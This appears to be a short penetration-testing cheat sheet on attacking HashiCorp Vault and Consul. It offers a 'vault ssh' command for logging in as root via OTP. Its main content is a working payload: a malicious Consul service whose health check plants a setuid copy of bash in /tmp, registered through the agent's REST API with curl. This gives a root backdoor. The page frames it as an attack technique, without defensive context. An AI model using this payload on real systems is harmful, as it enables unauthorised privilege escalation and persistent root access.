HashiCorp
Vault
OPT (One-Time Password)
Accessing
.vault-tokenandsecret.shfiles can reveal critical configurations.Vault can be configured to generate
OTPsforSSHlogins.
This vault ssh command generates an OTP and logs the user in automatically:
vault ssh -role root_otp -mode otp root@<target-IP>Consul
The configuration is located in /etc/consul.d/config.json
If the acl_default_policy is allowed, no auth is required.
Check version
consul versionCheck Services Running
consul catalog servicesRCE via Creating Service
Use the REST API to register a service
Malicious Service
{
"Name": "Tokyo service",
"ID": "rev-shell",
"Port": 0,
"Check": {
"args": ["bash", "-c", "cp /bin/bash /tmp/tokyo && chmod 6777 /tmp/tokyo"],
"interval": "30s",
"timeout": "5s"
}
}Use the API to upload the file
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -H "Content-Type: application/json" -d @service.json Last updated